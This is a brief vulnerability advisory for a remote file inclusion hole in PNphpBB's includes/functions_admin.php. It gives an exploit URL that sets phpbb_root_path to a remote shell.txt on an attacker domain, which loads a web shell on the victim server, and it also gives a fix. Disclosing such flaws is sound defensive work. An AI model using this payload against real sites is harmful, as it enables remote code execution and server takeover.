Vendor: http://www.pnphpbb.com/

Vulnerable File: includes/functions_admin.php

Vulnerable Code:

//The phpbb_root_path isn't initialize

include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );

Method To Use:

http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?

How To Fix:

Add this code before the include

if ( !defined('IN_PHPBB') )
{
   die("Hacking attempt");
}